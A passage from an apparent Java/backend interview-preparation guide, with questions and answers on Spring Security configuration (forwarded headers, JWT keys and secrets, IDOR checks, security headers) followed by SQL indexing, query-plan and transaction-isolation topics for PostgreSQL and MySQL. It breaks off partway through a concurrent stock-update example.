- **Is permanent lockout a good idea?** It enables denial of service; use temporary lockout or CAPTCHA.
- **Does bcrypt cost help?** It slows offline cracking and also costs your CPU per attempt; rate limit before hashing.

#brute-force #rate-limiting #login

Q19 The app sits behind a load balancer and redirects to `http://` after login, or CSRF/CORS fail. What is the cause? ADVANCED

The app does not know the original scheme/host because TLS terminates at the proxy. Enable forwarded-header handling (`server.forward-headers-strategy=framework` or `native`), and have the proxy set `X-Forwarded-Proto/Host/For` and strip any client-supplied values.

- `requiresChannel().anyRequest().requiresSecure()` and secure cookies (`server.servlet.session.cookie.secure=true`) rely on correct scheme detection.
- Trusting forwarded headers from any client allows spoofing IPs and hosts; only trust your proxy network (`server.tomcat.remoteip.internal-proxies`).
- HSTS is added by Spring Security only on HTTPS requests.

FOLLOW-UP TRAPS

- **Why no HSTS header in dev?** It is sent only for secure requests.
- **Is `X-Forwarded-For` trustworthy?** Only the entry added by your own proxy.

#proxy #forwarded-headers #https

Q20 How would you implement role hierarchy or fine-grained permissions (ABAC) beyond simple roles? ADVANCED

For simple inheritance use `RoleHierarchy` (`ROLE_ADMIN > ROLE_MANAGER > ROLE_USER`) wired into the method-security expression handler (a `RoleHierarchy` bean is picked up in Spring Security 6.3+ for authorization). For resource-level rules implement a custom bean referenced in SpEL.

```
@PreAuthorize("@orderAuth.canView(#id, authentication)")
public Order get(long id) { ... }
```

- Keep authorization logic in one testable component rather than scattered SpEL strings.
- Permissions as authorities (`order:read`) scale better than many roles; carry coarse scopes in the token and check ownership in the service.
- Do not put huge permission lists in JWTs; the header size limit (often 8 KB) will be hit.

FOLLOW-UP TRAPS

- **Does `RoleHierarchy` affect URL rules?** Only if wired into the authorization manager used there.
- **Where do you check tenant isolation?** In the data layer query too, not only in annotations.

#rbac #abac #permission-evaluator

Q21 After deploying, all existing tokens are rejected with 401. What are the likely reasons? INTERMEDIATE

Possible causes: signing key changed or generated at startup per instance (`KeyPairGenerator` in a bean, so each pod has a different key and tokens from one pod fail on another), issuer URI changed, clock skew/`exp`, algorithm change, or audience validator added.

- Keys must come from configuration/secret store or a shared JWKS; rotate by publishing the new key under a new `kid` while the old remains for the token lifetime.
- Read the `WWW-Authenticate` header: Spring includes the error (`invalid_token`, "Jwt expired at...", "signature").
- Enable `logging.level.org.springframework.security.oauth2=DEBUG`.

FOLLOW-UP TRAPS

- **Why does it work with one replica and fail with two?** Per-instance random keys.
- **How long should the old key remain published?** At least the maximum token lifetime.

#jwt #key-rotation #debugging

Q22 Describe how `UserDetailsService`, `AuthenticationProvider` and `PasswordEncoder` fit together for form/basic login. BASIC

`DaoAuthenticationProvider` calls your `UserDetailsService.loadUserByUsername`, checks account flags (enabled, locked, expired), and compares the submitted password with the stored hash via the `PasswordEncoder`. Success yields an authenticated `UsernamePasswordAuthenticationToken` with authorities.

- Declare a `UserDetailsService` and `PasswordEncoder` as beans; Boot wires them into the default `AuthenticationManager`.
- Throw `UsernameNotFoundException` for unknown users; the provider converts it to `BadCredentialsException` to avoid leaking existence.
- If a `UserDetailsService` bean is defined Boot's generated default password user is not created.

FOLLOW-UP TRAPS

- **Where are authorities loaded?** In the `UserDetails` returned; keep lazy collections initialized within the loader's transaction.
- **Does the encoder get the salt separately?** No, bcrypt embeds salt in the hash.

#userdetailsservice #daoauthenticationprovider

Q23 What security headers does Spring Security add by default and what would you adjust for an API or SPA? BASIC

Defaults: `X-Content-Type-Options: nosniff`, `Cache-Control: no-cache, no-store, max-age=0, must-revalidate`, `X-Frame-Options: DENY`, `Strict-Transport-Security` (HTTPS only), `X-XSS-Protection: 0`. A Content-Security-Policy is not added by default.

- Add CSP via `http.headers(h -> h.contentSecurityPolicy(c -> c.policyDirectives("default-src 'self'")))`.
- Default `no-store` hurts cacheability of authenticated GETs; override per endpoint where safe.
- Allow framing selectively with `frameOptions().sameOrigin()` (e.g. H2 console in dev only).

FOLLOW-UP TRAPS

- **Why is `X-XSS-Protection` 0?** Legacy XSS auditors introduced vulnerabilities; CSP is the modern control.
- **Do headers apply to static resources?** Yes if they go through the chain.

#headers #csp #hsts

Q24 How do you protect a Spring Boot app against IDOR on `GET /orders/{id}`? INTERMEDIATE

Authorization must check ownership or tenant, not just login. Scope the query by principal (`findByIdAndOwnerId(id, userId)`), or check after load with `@PostAuthorize`, and return 404 (not 403) for other users' resources to avoid revealing existence.

- Unpredictable IDs (UUIDs) are defense in depth, not authorization.
- Apply the same checks in list endpoints, exports and batch operations.
- Add integration tests that log in as user B and request user A's resources.

FOLLOW-UP TRAPS

- **Is `@PreAuthorize("isAuthenticated()")` sufficient?** No.
- **403 or 404 for other's resource?** 404 hides existence; choose deliberately and be consistent.

#idor #authorization #ownership

Q25 What are the pitfalls of storing JWT secrets and configuring HS256 in `application.yml`? BASIC

Hardcoding or committing the secret to Git, using short guessable strings (HS256 needs at least 32 random bytes), and sharing the same secret across environments let anyone forge tokens.

- Load secrets from a vault/secret manager or environment variables; rotate regularly.
- With HS256 every verifier can also sign; prefer RS256/ES256 for multi-service setups so only the auth service holds the private key.
- Base64-decode the secret consistently on both signing and verifying sides; mismatched encoding gives signature errors.

FOLLOW-UP TRAPS

- **Can I put the secret in a ConfigMap?** Use a Secret/secret store, not plain config.
- **Does a longer HS256 secret add strength beyond 256 bits?** Little; use random bytes, not a password.

#secrets #hs256 #configuration

Q26 **A user's roles were changed by an admin but they keep old access. How do you handle token and session staleness?** ADVANCED

Authorities embedded in a JWT remain until expiry. Options: short access-token TTL with refresh re-reading roles from the DB, a per-user `authVersion` claim compared on each request against a cached value, or opaque tokens/introspection with central revocation.

- Session-based apps can expire sessions via `SessionRegistry.expireNow()`.
- For critical permissions (admin actions), re-check against the database instead of trusting token claims.

FOLLOW-UP TRAPS

- **Does refreshing the token pick up new roles?** Only if the refresh flow reloads them.
- **Is a 1-hour token acceptable for revoking admin?** Usually not; shorten or add a denylist.

#staleness #claims #session

PART III

Database & Caching

Indexes, isolation levels, Redis, cache invalidation, migrations and search.

7 chapters · 105 questions

1. SQL Indexing & Optimization
2. Transactions & Isolation Levels
3. Hibernate Performance Tuning
4. Redis & Caching Strategies
5. Cache Invalidation Scenarios
6. Flyway/Liquibase Migrations
7. Elasticsearch Basics

DATABASE & CACHING · CHAPTER 1

SQL Indexing & Optimization

B-tree, composite, covering and partial indexes, leftmost prefix, EXPLAIN ANALYZE, join algorithms, keyset pagination, statistics, partitioning, sargability and slow-query scenarios across PostgreSQL and MySQL.

15 questions **3** basic **9** intermediate **3** advanced

Scenarios

Q1 How does a B-tree index speed up a lookup, and when does it not help? BASIC

A B-tree keeps keys sorted in a shallow, wide tree, so an equality or range lookup costs O(log n) page reads (usually 3-4 levels even for hundreds of millions of rows) instead of scanning the whole table. It also returns rows in key order, which can eliminate a sort.

- It helps for `=`, `<`, `>`, `BETWEEN`, `IN`, prefix `LIKE 'abc%'`, `ORDER BY` and `MIN/MAX`.
- It does not help when the predicate matches a large fraction of rows (the planner prefers a sequential scan), on tiny tables, or when the predicate is not sargable.
- Every index costs write amplification (each INSERT/UPDATE/DELETE maintains it), disk and buffer-pool space.

> **FOLLOW-UP TRAPS**
>
> - **Does an index on a boolean/low-cardinality column help?** Rarely on its own; it can help if one value is very rare (`WHERE status = 'FAILED'`), ideally as a partial index.
> - **Is the primary key index different in MySQL InnoDB?** Yes, InnoDB stores rows in the clustered PK B-tree; secondary indexes hold the PK value and need a second lookup. PostgreSQL tables are heaps and all indexes point to a tuple id.

#btree #index #fundamentals

Q2 A table has `INDEX (a, b, c)`. Which of these queries can use it: `WHERE a=1`, `WHERE b=2`, `WHERE a=1 AND c=3`, `WHERE a=1 AND b>5 AND c=3`? BASIC

Composite indexes are sorted by `a`, then `b` within `a`, then `c`. The leftmost-prefix rule says the index is usable efficiently only for a prefix of the columns.

- `a=1`: yes, full use.
- `b=2`: not as an efficient seek (MySQL cannot; PostgreSQL may do a full index scan, MySQL 8.0 has skip scan in limited cases).
- `a=1 AND c=3`: seeks on `a`, then `c` is only filtered inside the range of `a` (an index condition, not a seek).
- `a=1 AND b>5 AND c=3`: seeks on `a` and range on `b`; `c` cannot narrow the range because after a range predicate the following columns are not sorted contiguously.

Rule of thumb: equality columns first, then the range or sort column, in order of selectivity and query frequency.

```
CREATE INDEX idx_orders_cust_status_created ON orders (customer_id, status, created_at);
```

FOLLOW-UP TRAPS

- **Does column order inside the `WHERE` clause matter?** No, the optimizer reorders predicates; index column order is what matters.
- **Should the most selective column always come first?** Not necessarily; it must serve the most queries as a prefix and support the sort.

#composite-index #leftmost-prefix

Q3 What is a covering index and what do `INCLUDE` (PostgreSQL) and `Using index` (MySQL) mean? INTERMEDIATE

A covering index contains every column a query needs, so the engine answers from the index alone without visiting the table (heap or clustered index). That is an index-only scan in PostgreSQL and `Using index` in MySQL EXPLAIN.

```
-- PostgreSQL 11+: non-key payload columns
CREATE INDEX idx_orders_cust ON orders (customer_id, created_at) INCLUDE (total);
SELECT created_at, total FROM orders WHERE customer_id = 42 ORDER BY created_at;
```

- `INCLUDE` columns are stored in leaf pages only, are not sortable/searchable, and keep the key small.
- MySQL has no `INCLUDE`; add the extra columns as trailing key columns. Secondary indexes implicitly contain the PK, so `SELECT id` is already covered.
- PostgreSQL index-only scans still check the visibility map; on a table with many dead or recently modified pages it falls back to heap fetches (`Heap Fetches: n` in EXPLAIN ANALYZE), so VACUUM matters.

FOLLOW-UP TRAPS

- **Is a covering index always better?** No, wide indexes cost memory and write time; use them for hot read paths.
- **Does `SELECT *` get covered?** Almost never.

#covering-index #include #index-only-scan

Q4 When would you use a partial (filtered) index or an expression index? INTERMEDIATE

A partial index indexes only rows matching a predicate, which makes it small and cheap to maintain; an expression index indexes a computed value so that queries on that expression are sargable.

```
-- Only 0.5% of orders are pending; index just them
CREATE INDEX idx_orders_pending ON orders (created_at) WHERE status = 'PENDING';

-- Case-insensitive lookup
CREATE INDEX idx_users_email_lower ON users (lower(email));
SELECT * FROM users WHERE lower(email) = 'a@b.com';

-- Enforce uniqueness only for active rows
CREATE UNIQUE INDEX uq_active_email ON users (email) WHERE deleted_at IS NULL;
```

- The query predicate must imply the index predicate for the planner to use it.
- MySQL has no partial indexes; 8.0.13+ supports functional key parts (`CREATE INDEX i ON users ((lower(email)))`) and generated columns can be indexed.
- SQL Server calls partial indexes filtered indexes.

FOLLOW-UP TRAPS

- **Will `WHERE status = $1` with a prepared statement use the partial index?** Only if the planner uses a custom plan; a generic plan cannot prove the predicate. Literal values or `plan_cache_mode` matter.
- **Does a unique partial index allow duplicates of soft-deleted rows?** Yes, that is the intended use.

#partial-index #expression-index #postgresql

Q5 Walk me through reading `EXPLAIN (ANALYZE, BUFFERS)` output for a slow query. INTERMEDIATE

`EXPLAIN` shows the estimated plan; `EXPLAIN ANALYZE` actually executes the query and adds real row counts, loops and timings. Read the tree from the innermost node outward and compare estimated rows vs actual rows: large mismatches point at stale statistics or correlated columns.

```
EXPLAIN (ANALYZE, BUFFERS)
SELECT * FROM orders WHERE customer_id = 42 AND status = 'PAID';
-- Index Scan using idx_orders_cust on orders  (cost=0.43..8.45 rows=1 width=64)
--   (actual time=0.02..95.1 rows=48000 loops=1)
--   Filter: (status = 'PAID')   Rows Removed by Filter: 120
--   Buffers: shared hit=1200 read=900
```

What to look at:

- Estimated `rows=1` vs actual `rows=48000`: the planner chose a plan for the wrong cardinality.
- `Seq Scan` on a big table with a selective filter, `Rows Removed by Filter` large, `Sort Method: external merge Disk`, `Nested Loop` with a large `loops` count.
- `Buffers: read` = disk reads, `hit` = shared buffer cache.
- MySQL 8: `EXPLAIN ANALYZE` (8.0.18+) prints a tree with actual time; classic `EXPLAIN` shows `type` (ALL = full scan, ref, range), `key`, `rows`, `Extra` (`Using filesort`, `Using temporary`, `Using index`).

FOLLOW-UP TRAPS

- **Is it safe to run `EXPLAIN ANALYZE` on an UPDATE in production?** No, it executes the statement; wrap it in `BEGIN; ... ROLLBACK;`.
- **Is the cost number in milliseconds?** No, it is an abstract unit; only compare plans within the same query.

#explain #explain-analyze #query-plan

Q6 Explain nested loop, hash join and merge join, and when the optimizer picks each. INTERMEDIATE

- **Nested loop:** for each row of the outer input, probe the inner side. Best when the outer side is small and the inner has an index on the join key; cost roughly outer_rows x index probe.
- **Hash join:** build an in-memory hash table on the smaller input, stream the larger one and probe. Best for large unsorted equi-joins without useful indexes; spills to disk in batches when it exceeds `work_mem`.
- **Merge join:** both inputs sorted on the join key, then merged in one pass. Best when both are already ordered (index scans) or the join is non-selective on big inputs; supports range-ish conditions on sorted data.

```
SET enable_nestloop = off;  -- PostgreSQL diagnostic only, never in production code
EXPLAIN ANALYZE SELECT * FROM orders o JOIN customers c ON c.id = o.customer_id;
```

MySQL used only nested-loop variants (index NLJ, block nested loop) until 8.0.18 added hash join (replacing block nested loop for non-indexed equi-joins); it has no merge join.

FOLLOW-UP TRAPS

- **A nested loop with `loops=100000` on the inner side is slow. Why did the planner choose it?** Underestimated outer rows (stale stats); run `ANALYZE`, add extended statistics, or fix the missing index.
- **Does join order in the SQL text matter?** For inner joins the optimizer reorders (up to `join_collapse_limit` in PostgreSQL); for outer joins order is constrained.

#joins #nested-loop #hash-join #merge-join

Q7 `OFFSET 100000 LIMIT 20` is slow and getting slower. Why, and what is the alternative? INTERMEDIATE

`OFFSET n` must produce and discard the first n rows, so cost grows linearly with page depth. It is also unstable under concurrent inserts (rows shift between pages, causing duplicates or skips). Keyset (seek)

pagination remembers the last seen sort key and seeks directly to it with an index.

```
-- Offset: reads and discards 100000 rows
SELECT id, created_at FROM orders ORDER BY created_at DESC, id DESC LIMIT 20 OFFSET 100000;

-- Keyset: constant cost with INDEX (created_at DESC, id DESC)
SELECT id, created_at FROM orders
WHERE (created_at, id) < (:last_created_at, :last_id)
ORDER BY created_at DESC, id DESC
LIMIT 20;
```

- The sort key must be unique (add `id` as a tiebreaker) and deterministic.
- Row-value comparison `(a, b) < (x, y)` works in PostgreSQL and MySQL 8, but MySQL's optimizer used to handle it poorly; the expanded form `a < x OR (a = x AND b < y)` is safer there.
- Trade-offs: no random page jump or "page 57 of 400", and a total count still requires a separate `COUNT(*)` (approximate it for large tables).

FOLLOW-UP TRAPS

- **Does `LIMIT` without `ORDER BY` give stable pages?** No, order is undefined.
- **How do you do keyset with a nullable sort column?** Use `NULLS LAST` consistently in the index and the predicate, or coalesce to a sentinel.

#pagination #keyset #offset

Q8 A query `WHERE DATE(created_at) = '2025-01-15'` ignores the index on `created_at`. Why, and how do you fix it?

BASIC

Wrapping the indexed column in a function makes the predicate non-sargable: the index stores `created_at`, not `DATE(created_at)`, so the engine must compute the function for every row. Rewrite the predicate so the column stands alone and the range is computed on the constant side.

```
-- Bad
SELECT * FROM orders WHERE DATE(created_at) = '2025-01-15';
-- Good: half-open range uses the index
SELECT * FROM orders
WHERE created_at >= '2025-01-15' AND created_at < '2025-01-16';
```

Other non-sargable patterns:

- `WHERE col + 1 = 10`, `WHERE LOWER(col) = ...` (unless an expression index exists), `WHERE col LIKE '%abc'` (leading wildcard; use trigram/full-text instead).
- Implicit casts: `WHERE varchar_col = 123` can force a cast on the column; in MySQL comparing a string column with a number disables the index.
- Mismatched collation or charset in joins (MySQL `utf8` vs `utf8mb4`) causes a conversion on the column side.
- `OR` across different columns may block index use; rewrite as `UNION ALL` or rely on PostgreSQL BitmapOr.

FOLLOW-UP TRAPS

- **Why use `< next day` rather than `BETWEEN ... 23:59:59`?** BETWEEN is inclusive and misses fractional seconds.
- **Does `WHERE col IS NULL` use a B-tree index?** Yes in PostgreSQL and MySQL; Oracle does not index fully-null keys.

#sargability #functions #index

Q9 The planner picks a bad plan right after a big data load. What are statistics and how do you fix this?

INTERMEDIATE

The planner estimates row counts from column statistics (histogram, most common values, n_distinct, null fraction) gathered by `ANALYZE`. After a bulk load or large delete the stats are stale, estimates are wrong, and it

may pick a seq scan or a nested loop that explodes.

```
-- PostgreSQL
ANALYZE orders;
ALTER TABLE orders ALTER COLUMN status SET STATISTICS 1000; -- finer histogram
CREATE STATISTICS st_city_zip (dependencies) ON city, zip FROM addresses; -- correlated columns
ANALYZE addresses;

-- MySQL 8
ANALYZE TABLE orders UPDATE HISTOGRAM ON status WITH 100 BUCKETS;
```

- Autovacuum triggers autoanalyze after ~10% of rows change by default (`autovacuum_analyze_scale_factor = 0.1`); lower it for huge tables.
- Planner assumes independence between columns; extended statistics fix correlated predicates like `city = 'X' AND zip = 'Y'`.
- InnoDB persistent statistics sample a few pages (`innodb_stats_persistent_sample_pages`) and can be skewed.
- Parameter-sniffing equivalent: a generic prepared plan chosen for a skewed value (PostgreSQL after 5 executions, `plan_cache_mode`).

FOLLOW-UP TRAPS

- **Does `VACUUM` update statistics?** Only `VACUUM ANALYZE` does; plain `VACUUM` reclaims dead tuples and updates the visibility map.
- **Should you disable the planner when it errs?** No, fix statistics or the index first; hints/disabling flags are last-resort diagnostics.

#statistics #analyze #planner

Q10 When does table partitioning help, and what are its pitfalls? ADVANCED

Partitioning splits a table into physical pieces by a key (range, list, hash). Its main wins are partition pruning (queries touching one month read only that partition), cheap bulk deletion (drop a partition instead of `DELETE` + vacuum) and smaller per-partition indexes. It is not a general speed-up for point lookups.

```
CREATE TABLE events (
  id bigint, created_at timestamptz NOT NULL, payload jsonb,
  PRIMARY KEY (id, created_at)
) PARTITION BY RANGE (created_at);
CREATE TABLE events_2025_01 PARTITION OF events
  FOR VALUES FROM ('2025-01-01') TO ('2025-02-01');
```

Pitfalls:

- A unique or primary key must include the partition key in both PostgreSQL and MySQL, so a global unique `id` is impossible.
- Queries without the partition key in the `WHERE` scan every partition and can be slower (planning overhead grows with partition count).
- Pruning fails if the predicate wraps the key in a function or uses a mismatched type.
- Partitions must be created ahead of time (pg_partman or a scheduler); inserts with no matching partition fail unless a DEFAULT partition exists.
- MySQL does not support foreign keys on partitioned InnoDB tables.

FOLLOW-UP TRAPS

- **Is partitioning a replacement for an index?** No, you still index within partitions.
- **How do you remove 6-month-old data with minimal locking?** `ALTER TABLE ... DETACH PARTITION ... CONCURRENTLY` (PostgreSQL 14+) then drop it.

#partitioning #pruning #maintenance

Q11 Why can adding more indexes make a system slower? How do you find unused or redundant ones? INTERMEDIATE

Each index must be updated on every INSERT and DELETE, and on UPDATEs touching indexed columns; in PostgreSQL an UPDATE that changes any indexed column also defeats HOT updates and bloats all indexes. Indexes also compete for cache and slow VACUUM and replication.

```
-- PostgreSQL: indexes never used since stats reset
SELECT relname, indexrelname, idx_scan, pg_size_pretty(pg_relation_size(indexrelid))
FROM pg_stat_user_indexes WHERE idx_scan = 0 ORDER BY pg_relation_size(indexrelid) DESC;

-- MySQL 8 (sys schema)
SELECT * FROM sys.schema_unused_indexes;
```

- Redundant: `(a)` is redundant when `(a, b)` exists (unless it is unique or `(a, b)` is much wider and hot for `a`-only lookups).
- Check replicas too: an index unused on the primary may be used on a read replica; stats are per instance.
- Drop safely: MySQL 8 invisible indexes (`ALTER INDEX i INVISIBLE`), then drop after a soak period; PostgreSQL `DROP INDEX CONCURRENTLY`.

FOLLOW-UP TRAPS

- **How do you create an index on a live PostgreSQL table without blocking writes?** `CREATE INDEX CONCURRENTLY` (slower, two passes, cannot run in a transaction, can leave an INVALID index to drop on failure).
- **Is an unused FK-column index droppable?** Careful: deleting a parent row scans the child FK column; no index means a table scan per delete.

#index-maintenance #write-amplification

Q12 An endpoint is fast with 1k rows and times out in production with 50M rows. How do you investigate systematically? ADVANCED

Identify the actual offender first, then explain it, then change one thing and measure.

1. Find top queries by total time: `pg_stat_statements` (`ORDER BY total_exec_time DESC`) or MySQL slow log / `performance_schema.events_statements_summary_by_digest`. High call count with moderate latency often matters more than one slow report.
2. Capture the real query with real bind values and run `EXPLAIN (ANALYZE, BUFFERS)` on production-sized data (or a restored copy).
3. Check estimates vs actuals, scan types, sorts spilling to disk, `Rows Removed by Filter`, buffer reads.
4. Fix in this order: rewrite non-sargable predicates, add or reshape an index (composite order, covering, partial), fix statistics, then reduce data (pagination, narrower select list, archive/partition).
5. Verify with the plan and with load, watch write overhead and lock impact of the DDL.

```
SELECT query, calls, total_exec_time, mean_exec_time, rows
FROM pg_stat_statements ORDER BY total_exec_time DESC LIMIT 10;
```

Also rule out non-query causes: lock waits (`pg_locks`, `pg_stat_activity.wait_event`), connection saturation, I/O saturation, and an ORM issuing N+1 queries.

FOLLOW-UP TRAPS

- **The query is fast in psql but slow from the app. Why?** Different plan from a generic prepared statement, a different type binding (e.g. `setLong` vs varchar causing a cast), or fetch size/network volume.
- **Is a missing index always the cause?** No; often it is stale statistics, a bloated table, or lock waits.

#slow-query #troubleshooting #methodology

Q13 How do you detect and fix an N+1 problem at the SQL level, not only in the ORM? INTERMEDIATE

N+1 shows up in `pg_stat_statements` as one cheap query with an enormous `calls` count (e.g. `SELECT ... FROM item WHERE order_id = $1` called 100,000 times), each taking 0.3 ms but totalling minutes. Latency is dominated by round trips, not query cost.

Fixes:

```
-- Instead of N queries per parent id
SELECT * FROM item WHERE order_id = ANY(:ids);        -- PostgreSQL
SELECT * FROM item WHERE order_id IN (:id1, :id2, ...); -- portable

-- Or a single join with the parent
SELECT o.id, i.sku, i.qty FROM orders o JOIN item i ON i.order_id = o.id WHERE o.status = 'NEW';
```

- Batch with `IN` lists (chunk to a few hundred to stay within parameter limits: PostgreSQL JDBC allows 32767 bind parameters, SQL Server 2100).
- Ensure the child FK column has an index, otherwise each batched query is a scan.
- For aggregation, push work into SQL (`GROUP BY`) instead of looping.

FOLLOW-UP TRAPS

- **Is one big join always better than a few batched queries?** No, joining a collection multiplies parent columns across rows; two queries can transfer less data.
- **Does a connection pool hide N+1?** It reduces connect cost, but the round-trip latency and DB CPU remain.

#n-plus-one #in-clause #joins

Q14 Explain the difference between `COUNT(*)`, `COUNT(col)` and `COUNT(DISTINCT col)`, and why `COUNT(*)` on a large table is slow in PostgreSQL. INTERMEDIATE

`COUNT(*)` counts rows; `COUNT(col)` counts non-null values; `COUNT(DISTINCT col)` counts distinct non-null values and needs a sort or hash (most expensive). `COUNT(1)` equals `COUNT(*)`.

In PostgreSQL, MVCC means each transaction can see a different set of row versions, so there is no stored exact row count; the engine must scan an index or heap and check tuple visibility. InnoDB has the same constraint (it scans the smallest secondary index), while MyISAM stored an exact count.

```
-- Exact but linear: use index-only scan if the visibility map is fresh
SELECT count(*) FROM orders WHERE status = 'PAID';
-- Approximate, instant
SELECT reltuples::bigint FROM pg_class WHERE relname = 'orders';
```

Options: approximate counts for UI ("about 2.3M"), maintained counter tables or triggers (contention!), materialized views refreshed periodically, or keyset pagination that avoids total counts.

FOLLOW-UP TRAPS

- **Does adding `WHERE` on an indexed column make `COUNT(*)` O(log n)?** No, it is proportional to matching rows.
- **Does `COUNT(*)` vs `COUNT(1)` differ in performance?** No in modern engines.

#count #mvcc #aggregation

Q15 You have `WHERE customer_id = ? AND status = ? ORDER BY created_at DESC LIMIT 20`. Design the index and justify column order. ADVANCED

Put equality predicates first, then the sort column: `(customer_id, status, created_at DESC)`. The engine seeks to the `(customer_id, status)` prefix and reads entries already sorted by `created_at`, stopping after 20 rows, with no sort step.

```
CREATE INDEX idx_orders_lookup ON orders (customer_id, status, created_at DESC);
EXPLAIN SELECT * FROM orders
WHERE customer_id = 42 AND status = 'PAID' ORDER BY created_at DESC LIMIT 20;
-- Index Scan using idx_orders_lookup ... (no Sort node)
```

- If `status` were a range or `IN (...)` list, the sort order is broken across values: PostgreSQL needs a merge of several ranges or a Sort node; MySQL shows `Using filesort`. Then consider `(customer_id, created_at)` and filter `status` on the fly.
- Mixed directions (`a ASC, b DESC`) need an index defined with the same directions in PostgreSQL; MySQL supports descending index parts only from 8.0 (earlier versions parsed and ignored `DESC`).
- Add the PK/tiebreaker if you paginate with keyset.
- `LIMIT` makes the ordered index scan very cheap, but if the filters are very selective and the sort column is not in the index, the planner may prefer filter-then-sort.

FOLLOW-UP TRAPS

- **Would `(created_at, customer_id, status)` work?** It supports ordering but must scan newest rows and filter, which is terrible for a customer with few recent orders.
- **How would you verify there is no sort?** EXPLAIN shows no `Sort` node (PostgreSQL) or no `Using filesort` in Extra (MySQL).

#index-design #composite-index #order-by #filesort

DATABASE & CACHING · CHAPTER 2

Transactions & Isolation Levels

ACID, isolation anomalies, MVCC, locking, SELECT FOR UPDATE and SKIP LOCKED, deadlocks, optimistic locking, idempotency, distributed transactions and replication lag scenarios.

15 questions **1** basic **9** intermediate **5** advanced

Scenarios

Q1 What does ACID guarantee, and which part is actually enforced by which mechanism? BASIC

Atomicity: all statements commit or none do. Consistency: a transaction moves the database from one valid state to another (constraints, triggers; partly the application's duty). Isolation: concurrent transactions do not see each other's intermediate state, to a degree set by the isolation level. Durability: committed data survives a crash.

- Atomicity and durability come from the write-ahead log (WAL in PostgreSQL, redo/undo logs in InnoDB): changes are logged and fsynced at commit, undone on rollback or crash recovery.
- Isolation comes from locks and/or MVCC.
- Consistency is enforced by constraints (PK, FK, CHECK, UNIQUE); business invariants spanning rows need the right isolation or explicit locks.
- Durability depends on settings: `synchronous_commit=off` (PostgreSQL) or `innodb_flush_log_at_trx_commit=2` trade durability for speed.

FOLLOW-UP TRAPS

- **Is "C" in ACID the same as "C" in CAP?** No; ACID consistency is about invariants, CAP consistency is linearizability across replicas.
- **Does a DDL statement roll back?** In PostgreSQL yes (transactional DDL); in MySQL DDL causes an implicit commit.

#acid #fundamentals

Q2 Describe the anomalies: dirty read, non-repeatable read, phantom read, lost update and write skew. INTERMEDIATE

- **Dirty read:** reading another transaction's uncommitted change.
- **Non-repeatable read:** reading the same row twice and getting different values because another transaction committed an update in between.
- **Phantom read:** re-running a range query and seeing new or missing rows because of another transaction's committed insert/delete.
- **Lost update:** two transactions read the same value, both compute a new one, the second write overwrites the first.
- **Write skew:** two transactions read overlapping data, each updates a different row based on what it read, and together they violate an invariant (classic: two doctors both go off-call because each saw the other still on-call).

```
-- Write skew under REPEATABLE READ / snapshot isolation
-- T1: SELECT count(*) FROM oncall WHERE on_duty;   -- 2
-- T2: SELECT count(*) FROM oncall WHERE on_duty;   -- 2
-- T1: UPDATE oncall SET on_duty=false WHERE doctor='A'; COMMIT;
-- T2: UPDATE oncall SET on_duty=false WHERE doctor='B'; COMMIT;  -- nobody on call
```

FOLLOW-UP TRAPS

- **Is write skew possible under snapshot isolation?** Yes; only SERIALIZABLE (SSI in PostgreSQL) or explicit locking prevents it.
- **Is lost update the same as write skew?** No, lost update targets the same row; write skew writes different rows.

#anomalies #isolation

Q3 Which anomalies does each SQL standard isolation level allow, and what do PostgreSQL and MySQL actually do?

INTERMEDIATE

Standard table: READ UNCOMMITTED allows dirty, non-repeatable and phantom reads; READ COMMITTED allows non-repeatable and phantom; REPEATABLE READ allows phantoms; SERIALIZABLE allows none. Real engines differ.

- **PostgreSQL:** default READ COMMITTED (each statement sees a fresh snapshot). READ UNCOMMITTED behaves as READ COMMITTED (no dirty reads ever). REPEATABLE READ is snapshot isolation: one snapshot per transaction, no phantoms in practice, but write skew is possible and conflicting updates fail with `could not serialize access due to concurrent update`. SERIALIZABLE uses SSI and may abort with SQLSTATE 40001.
- **MySQL InnoDB:** default REPEATABLE READ with a consistent snapshot for plain SELECTs; locking reads (`FOR UPDATE`, `UPDATE`) read the latest committed data and use next-key (gap) locks to block phantoms. SERIALIZABLE turns plain SELECTs into `LOCK IN SHARE MODE`.
- Oracle has no REPEATABLE READ; SQL Server needs `READ_COMMITTED_SNAPSHOT` to get MVCC reads.

```
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;  -- PostgreSQL, per transaction
SHOW transaction_isolation;
```

FOLLOW-UP TRAPS

- **Does MySQL REPEATABLE READ prevent lost updates?** Not for read-modify-write in the app: `SELECT` reads the snapshot, then `UPDATE` hits the latest row. Use `UPDATE ... SET qty = qty - 1` or `FOR UPDATE`.
- **Must code retry on SERIALIZABLE?** Yes, serialization failures (40001) and deadlocks (40P01) are expected and need a retry loop.

#isolation-levels #postgresql #mysql

Q4 How does MVCC work, and what are its operational costs?

ADVANCED

Multi-version concurrency control keeps several versions of a row so readers never block writers and writers never block readers. Each transaction reads the version visible to its snapshot.

- **PostgreSQL:** an UPDATE writes a new tuple version in the heap, marking the old one with `xmax`; visibility is decided by `xmin/xmax` against the snapshot. Old versions (dead tuples) accumulate until VACUUM removes them, causing table and index bloat and transaction id wraparound risk (freeze).
- **InnoDB:** the row is updated in place in the clustered index; previous versions are reconstructed from undo logs via roll pointers. A long-running transaction keeps the history list long, slowing reads and growing the undo tablespace.
- Common production problem: a forgotten `idle in transaction` session or a long analytic query pins the oldest snapshot, so VACUUM or purge cannot clean up.

```
SELECT pid, state, xact_start, now() - xact_start AS age, query
FROM pg_stat_activity WHERE state <> 'idle' ORDER BY xact_start LIMIT 5;
```

FOLLOW-UP TRAPS

- **Do readers ever block in MVCC?** Not on row data, but DDL (`ACCESS EXCLUSIVE` locks) and locking reads can.
- **Why can a high-update table grow even with few rows?** Dead tuples from updates are not reclaimed while old snapshots exist; HOT updates and tuned autovacuum mitigate it.

#mvcc #vacuum #undo

Q5 Two requests decrement stock concurrently and the final stock is wrong. Show the bug and three fixes. INTERMEDIATE

Read-modify-write in application code races: both read `qty=10`, both write `9`, one decrement is lost.

```
-- Buggy: SELECT qty ... ; (app computes qty-1); UPDATE stock SET qty = 9 ...

-- Fix 1: atomic update with guard (works at READ COMMITTED)
UPDATE stock SET qty = qty - 1 WHERE sku = 'A1' AND qty > 0;   -- check rows affected = 1

-- Fix 2: pessimistic lock
BEGIN;
SELECT qty FROM stock WHERE sku = 'A1' FOR UPDATE;
UPDATE stock SET qty = qty - 1 WHERE sku = 'A1';
COMMIT;

-- Fix 3: optimistic version check
